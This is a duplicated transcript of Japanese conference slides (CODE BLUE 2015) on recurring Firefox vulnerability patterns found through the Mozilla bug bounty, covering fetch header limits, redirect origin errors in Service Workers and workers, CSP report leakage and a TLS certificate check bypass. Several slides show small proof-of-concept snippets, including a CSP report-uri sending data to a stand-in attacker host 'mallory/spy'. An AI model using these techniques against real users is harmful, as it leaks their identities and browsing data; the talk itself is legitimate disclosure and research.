Firefoxの倒し方

Internet

muneaki-nishimura
  • Firefoxの倒し方 CODE BLUE 2015 “Foxkeh" (C) 2006 Mozilla Japan
  • 61,500ドル (約740万円) Bug 1065909 Bug 1109276 Bug 1162018 Bug 1196740 Bug 1069762 Bug 1148328 Bug 1162411 Bug 1198078 Bug 1080987 Bug 1149094 Bug 1164397 Bug 1207556 Bug 1101158 Bug 1157216 Bug 1190038 Bug 1208520 Bug 1102204 Bug 1158715 Bug 1190139 Bug 1208956 Bug 1106713 Bug 1160069 Bug 1192595 私の1年間の実績
  • Firefoxの倒し方 本日のテーマ • Firefoxには、共通する脆弱性のパターンがある • 開発者にも周知されておらず、新しい機能が追加される度、 同じような脆弱性が作り込まれている “Foxkeh" (C) 2006 Mozilla Japan
  • Firefoxの倒し方 • パターンを覚えれば、効率的に脆弱性を発見できる • CODE BLUEの参加費も報奨金で回収できる “Foxkeh" (C) 2006 Mozilla Japan 本日のテーマ
  • 仕様の実装漏れ “Foxkeh" (C) 2006 Mozilla Japan 脆弱性のパターン 1/3
  • • IETFやW3Cなどの標準化団体が仕様を策定 仕様書は誰でもダウンロードできる • 仕様書には、機能の実装要件が記載されている ブラウザにその機能を実装することで生じるセキュリティリスクや その対処方法も記載されている ブラウザの機能とその仕様
  • • 仕様に書かれている要件がたまに実装されていない コミット時のレビューやテストが足りていない • 仕様書に沿ってテストを書けば脆弱性を発見できる 120万円くらいはこの方法で獲得 Firefoxにおける仕様の実装漏れ
  • Fetch APIにおける リクエストヘッダ制限の実装漏れ 実例 Bug 1162411
  • Fetch APIとは • HTTPによる非同期通信を行うことのできるAPI ざっくり言えば、XMLHttpRequestを改良したもの HTTPリクエスト fetch('http://example.jp/') HTTPレスポンス http://example.jp/
  • Fetch APIの使用例 fetch( 'http://api.example.jp/path', { method: 'POST', headers: { 'Content-Type' : 'text/plain' }, body: 'Hello World' }).then(function(res) { console.log(res.headers.get( 'Content-Type' )); })
  • Fetch APIに課せられた仕様上の制限 fetch( 'http://api.example.jp/path', { method: 'POST', headers: { 'Content-Type' : 'text/plain' }, body: 'Hello World' }).then(function(res) { console.log(res.headers.get( 'Content-Type' )); }) TRACEなどは指定禁止 HostやCookieなどは指定禁止 GETやHEADメソッドのときは指定禁止 Set-Cookieなどは指定禁止
  • Firefoxに存在した実装漏れ fetch( 'http://api.example.jp/path', { method: 'POST', headers: { 'Content-Type' : 'text/plain' }, body: 'Hello World' }).then(function(res) { console.log(res.headers.get( 'Content-Type' )); }) 任意のリクエストヘッダを指定できた
  • DEMO
  • HTTPリダイレクトの 実装不備 “Foxkeh" (C) 2006 Mozilla Japan 脆弱性のパターン 2/3
  • HTTPリダイレクトとは same.tld other.tld http://same.tld/ Location: http://other.tld/ http://other.tld/ Response HTTPリダイレクト
  • HTTPリダイレクトの落とし穴 (1/2) same.tld other.tld http://same.tld/ Location: http://other.tld/ http://other.tld/ Response HTTPリダイレクト リクエストに指定されたオリジンと… 最終的に応答を返すオリジンは 異なる場合がある
  • Service Workers (SW)における キャッシュデータのオリジン誤り 実例 Bug 1164397
  • DEMO
  • http://example.jp/ Service Workers (SW)とは • ページのバックグラウンド処理を担うワーカー ページで発生した通信を仲介し、キャッシュなどを制御 SWPage Cache
  • Firefoxに存在したオリジン誤り SWPage (mallory) Cache mallory facebook mallory/resource mallory/resource Redirection facebookのレスポンスを malloryのデータとして キャッシュしてしまう
  • HTTPリダイレクトの落とし穴 (2/2) • リダイレクト後のURLには機微な情報が含まれうる リダイレクト先のサイトにログインしているユーザの名前など • リダイレクト後のURLは他のオリジンから参照禁止 エラーメッセージなどにリダイレクト後のURLが含まれてはならない
  • (例) Facebook https://www.facebook.com/profile.php 301 Moved Permanently
  • (例) Windows Azure https://manage.windowsazure.com 302 Found
  • CVE-2014-1487 by Masato Kinugawa window.onerror = function( e ) { alert( e ); } new Worker('redirect?to=https://www.facebook.com/profile.php'); 他のサイトをワーカースクリプト として読み込む
  • window.onerror = function( e ) { alert( e ); } new Worker('redirect?to=https://www.facebook.com/profile.php'); CVE-2014-1487 by Masato Kinugawa
  • 閲覧者のFacebookプロフィールを特定可能
  • CSP違反レポートにおける 他のサイトのURL漏洩 実例 Bug 1069762 (CVE-2014-1591)
  • 以下のページをユーザに開かせると // HTTP Response Header Content-Security-Policy-Report-Only "frame-src 'none'; report-uri http://mallory/spy;" // Exploit HTML
  • 以下のデータが攻撃者に送信される // HTTP Response Header Content-Security-Policy-Report-Only "frame-src 'none'; report-uri http://mallory/spy;" // Exploit HTML
  • http://www.w3.org/TR/2012/CR-CSP-20121115/
  • CSPの仕様書にも書いてあるのに!
  • Network(Necko)との一貫性に 起因する問題 “Foxkeh" (C) 2006 Mozilla Japan 脆弱性のパターン 3/3
  • Firefoxのアーキテクチャ Thanks to Makoto Kato (Mozilla Japan) https://docs.google.com/presentation/d/17KvlHVH2JsioGuPKCuBDayjK6WSJoTLfzgpiMG1SKpY ネットワーク通信モジュール DOM操作および各APIの実装
  • セキュリティ検証の典型的な例 Page DOM / Web API Network (Necko) 通信要求 オリジンの検証 サーバの検証
  • セキュリティ検証の典型的な例 Page DOM / Web API Network (Necko) 通信要求 オリジンの検証 サーバの検証 これら2つの性質の違いにより 脆弱性が発生する
  • 日和見暗号(OE)による SSLサーバ証明書検証のバイパス 実例 Bug 1148328 (CVE-2015-0799)
  • 日和見暗号(OE) • http: の通信内容を暗号化 国家による大規模な盗聴(Pervasive Surveillance)の対策。 http/2の拡張仕様として議論中 • サーバ認証せずにTLSで暗号化 無効な証明書によるTLSでも平文で通信するよりは安全。 https: で接続する際は、従来どおりサーバ認証する
  • DEMO
  • 証明書検証回避のシーケンス twitter(偽) http://mallory http://twitterでOE開始を要求 mallory 証明書検証なしでTLS接続(OE) Session Ticket発行 https://twitter Session Ticketを使ってTLS接続要求 接続確立(セッション再開)
  • 脆弱性発生のメカニズム Page DOM / Web API Network (Necko) http:とhttps:は 異なるオリジン OEとhttps:は TLSの実装を共有 http://twitterと https://twitter の Session Ticket は分ける必要がある
  • “Foxkeh" (C) 2006 Mozilla Japan 脆弱性の見つけ方
  • 脆弱性のパターンを継続的に試す • 新しく搭載された機能で過去の脆弱性が再発 Firefoxは6週間ごとにメジャーバージョンアップ。 過去の経緯を知らないコミッターが類似の脆弱性を作り込む • 過去の脆弱性と新しい機能に関する情報を収集 過去の脆弱性をパターン化し、新しく搭載された機能で試験する
  • 情報収集するには • セキュリティアドバイザリ (過去の脆弱性情報) https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox/ • Firefox 開発者向けリリースノート (新機能の情報) https://developer.mozilla.org/en-US/Firefox/Releases
  • さらに情報収集するには • Firefoxのコミットログ http://hg.mozilla.org/mozilla-central/shortlog • Bugzilla https://bugzilla.mozilla.org/
  • コミットログを用いた脆弱性探し アクセスできなければ (恐らく)脆弱性の修正
  • Bugzillaを用いた脆弱性探し • Mozillaセキュリティチームの行動を追跡 脆弱性の情報はセキュリティチームが管理している
  • 非公開フラグが 外された! 報奨金を獲得した バグがある!
  • “Foxkeh" (C) 2006 Mozilla Japan さいごに
  • Mozillaの脆弱性対応の特徴 • 対応が早い 深刻度が高ければ約1か月、低くても2~3か月で修正される 深刻な影響を及ぼす場合は緊急アップデートが配信される • 透明性が高い 修正されるまでの過程をBugzillaで閲覧できる 深刻度を判断した根拠をきちんと説明してくれる 既知のバグの報告者には当該のバグのアクセス権が付与される
  • Thanks! Mozilla Security Team & Mozilla Japan Guys “Foxkeh" (C) 2006 Mozilla Japan
Please download to view
50
All materials on our website are shared by users. If you have any questions about copyright issues, please report us to resolve them. We are always happy to assist you.
Description
Text
  • Firefoxの倒し方 CODE BLUE 2015 “Foxkeh" (C) 2006 Mozilla Japan
  • 61,500ドル (約740万円) Bug 1065909 Bug 1109276 Bug 1162018 Bug 1196740 Bug 1069762 Bug 1148328 Bug 1162411 Bug 1198078 Bug 1080987 Bug 1149094 Bug 1164397 Bug 1207556 Bug 1101158 Bug 1157216 Bug 1190038 Bug 1208520 Bug 1102204 Bug 1158715 Bug 1190139 Bug 1208956 Bug 1106713 Bug 1160069 Bug 1192595 私の1年間の実績
  • Firefoxの倒し方 本日のテーマ • Firefoxには、共通する脆弱性のパターンがある • 開発者にも周知されておらず、新しい機能が追加される度、 同じような脆弱性が作り込まれている “Foxkeh" (C) 2006 Mozilla Japan
  • Firefoxの倒し方 • パターンを覚えれば、効率的に脆弱性を発見できる • CODE BLUEの参加費も報奨金で回収できる “Foxkeh" (C) 2006 Mozilla Japan 本日のテーマ
  • 仕様の実装漏れ “Foxkeh" (C) 2006 Mozilla Japan 脆弱性のパターン 1/3
  • • IETFやW3Cなどの標準化団体が仕様を策定 仕様書は誰でもダウンロードできる • 仕様書には、機能の実装要件が記載されている ブラウザにその機能を実装することで生じるセキュリティリスクや その対処方法も記載されている ブラウザの機能とその仕様
  • • 仕様に書かれている要件がたまに実装されていない コミット時のレビューやテストが足りていない • 仕様書に沿ってテストを書けば脆弱性を発見できる 120万円くらいはこの方法で獲得 Firefoxにおける仕様の実装漏れ
  • Fetch APIにおける リクエストヘッダ制限の実装漏れ 実例 Bug 1162411
  • Fetch APIとは • HTTPによる非同期通信を行うことのできるAPI ざっくり言えば、XMLHttpRequestを改良したもの HTTPリクエスト fetch('http://example.jp/') HTTPレスポンス http://example.jp/
  • Fetch APIの使用例 fetch( 'http://api.example.jp/path', { method: 'POST', headers: { 'Content-Type' : 'text/plain' }, body: 'Hello World' }).then(function(res) { console.log(res.headers.get( 'Content-Type' )); })
  • Fetch APIに課せられた仕様上の制限 fetch( 'http://api.example.jp/path', { method: 'POST', headers: { 'Content-Type' : 'text/plain' }, body: 'Hello World' }).then(function(res) { console.log(res.headers.get( 'Content-Type' )); }) TRACEなどは指定禁止 HostやCookieなどは指定禁止 GETやHEADメソッドのときは指定禁止 Set-Cookieなどは指定禁止
  • Firefoxに存在した実装漏れ fetch( 'http://api.example.jp/path', { method: 'POST', headers: { 'Content-Type' : 'text/plain' }, body: 'Hello World' }).then(function(res) { console.log(res.headers.get( 'Content-Type' )); }) 任意のリクエストヘッダを指定できた
  • DEMO
  • HTTPリダイレクトの 実装不備 “Foxkeh" (C) 2006 Mozilla Japan 脆弱性のパターン 2/3
  • HTTPリダイレクトとは same.tld other.tld http://same.tld/ Location: http://other.tld/ http://other.tld/ Response HTTPリダイレクト
  • HTTPリダイレクトの落とし穴 (1/2) same.tld other.tld http://same.tld/ Location: http://other.tld/ http://other.tld/ Response HTTPリダイレクト リクエストに指定されたオリジンと… 最終的に応答を返すオリジンは 異なる場合がある
  • Service Workers (SW)における キャッシュデータのオリジン誤り 実例 Bug 1164397
  • DEMO
  • http://example.jp/ Service Workers (SW)とは • ページのバックグラウンド処理を担うワーカー ページで発生した通信を仲介し、キャッシュなどを制御 SWPage Cache
  • Firefoxに存在したオリジン誤り SWPage (mallory) Cache mallory facebook mallory/resource mallory/resource Redirection facebookのレスポンスを malloryのデータとして キャッシュしてしまう
  • HTTPリダイレクトの落とし穴 (2/2) • リダイレクト後のURLには機微な情報が含まれうる リダイレクト先のサイトにログインしているユーザの名前など • リダイレクト後のURLは他のオリジンから参照禁止 エラーメッセージなどにリダイレクト後のURLが含まれてはならない
  • (例) Facebook https://www.facebook.com/profile.php 301 Moved Permanently
  • (例) Windows Azure https://manage.windowsazure.com 302 Found
  • CVE-2014-1487 by Masato Kinugawa window.onerror = function( e ) { alert( e ); } new Worker('redirect?to=https://www.facebook.com/profile.php'); 他のサイトをワーカースクリプト として読み込む
  • window.onerror = function( e ) { alert( e ); } new Worker('redirect?to=https://www.facebook.com/profile.php'); CVE-2014-1487 by Masato Kinugawa
  • 閲覧者のFacebookプロフィールを特定可能
  • CSP違反レポートにおける 他のサイトのURL漏洩 実例 Bug 1069762 (CVE-2014-1591)
  • 以下のページをユーザに開かせると // HTTP Response Header Content-Security-Policy-Report-Only "frame-src 'none'; report-uri http://mallory/spy;" // Exploit HTML
  • 以下のデータが攻撃者に送信される // HTTP Response Header Content-Security-Policy-Report-Only "frame-src 'none'; report-uri http://mallory/spy;" // Exploit HTML
  • http://www.w3.org/TR/2012/CR-CSP-20121115/
  • CSPの仕様書にも書いてあるのに!
  • Network(Necko)との一貫性に 起因する問題 “Foxkeh" (C) 2006 Mozilla Japan 脆弱性のパターン 3/3
  • Firefoxのアーキテクチャ Thanks to Makoto Kato (Mozilla Japan) https://docs.google.com/presentation/d/17KvlHVH2JsioGuPKCuBDayjK6WSJoTLfzgpiMG1SKpY ネットワーク通信モジュール DOM操作および各APIの実装
  • セキュリティ検証の典型的な例 Page DOM / Web API Network (Necko) 通信要求 オリジンの検証 サーバの検証
  • セキュリティ検証の典型的な例 Page DOM / Web API Network (Necko) 通信要求 オリジンの検証 サーバの検証 これら2つの性質の違いにより 脆弱性が発生する
  • 日和見暗号(OE)による SSLサーバ証明書検証のバイパス 実例 Bug 1148328 (CVE-2015-0799)
  • 日和見暗号(OE) • http: の通信内容を暗号化 国家による大規模な盗聴(Pervasive Surveillance)の対策。 http/2の拡張仕様として議論中 • サーバ認証せずにTLSで暗号化 無効な証明書によるTLSでも平文で通信するよりは安全。 https: で接続する際は、従来どおりサーバ認証する
  • DEMO
  • 証明書検証回避のシーケンス twitter(偽) http://mallory http://twitterでOE開始を要求 mallory 証明書検証なしでTLS接続(OE) Session Ticket発行 https://twitter Session Ticketを使ってTLS接続要求 接続確立(セッション再開)
  • 脆弱性発生のメカニズム Page DOM / Web API Network (Necko) http:とhttps:は 異なるオリジン OEとhttps:は TLSの実装を共有 http://twitterと https://twitter の Session Ticket は分ける必要がある
  • “Foxkeh" (C) 2006 Mozilla Japan 脆弱性の見つけ方
  • 脆弱性のパターンを継続的に試す • 新しく搭載された機能で過去の脆弱性が再発 Firefoxは6週間ごとにメジャーバージョンアップ。 過去の経緯を知らないコミッターが類似の脆弱性を作り込む • 過去の脆弱性と新しい機能に関する情報を収集 過去の脆弱性をパターン化し、新しく搭載された機能で試験する
  • 情報収集するには • セキュリティアドバイザリ (過去の脆弱性情報) https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox/ • Firefox 開発者向けリリースノート (新機能の情報) https://developer.mozilla.org/en-US/Firefox/Releases
  • さらに情報収集するには • Firefoxのコミットログ http://hg.mozilla.org/mozilla-central/shortlog • Bugzilla https://bugzilla.mozilla.org/
  • コミットログを用いた脆弱性探し アクセスできなければ (恐らく)脆弱性の修正
  • Bugzillaを用いた脆弱性探し • Mozillaセキュリティチームの行動を追跡 脆弱性の情報はセキュリティチームが管理している
  • 非公開フラグが 外された! 報奨金を獲得した バグがある!
  • “Foxkeh" (C) 2006 Mozilla Japan さいごに
  • Mozillaの脆弱性対応の特徴 • 対応が早い 深刻度が高ければ約1か月、低くても2~3か月で修正される 深刻な影響を及ぼす場合は緊急アップデートが配信される • 透明性が高い 修正されるまでの過程をBugzillaで閲覧できる 深刻度を判断した根拠をきちんと説明してくれる 既知のバグの報告者には当該のバグのアクセス権が付与される
  • Thanks! Mozilla Security Team & Mozilla Japan Guys “Foxkeh" (C) 2006 Mozilla Japan
Comments
Top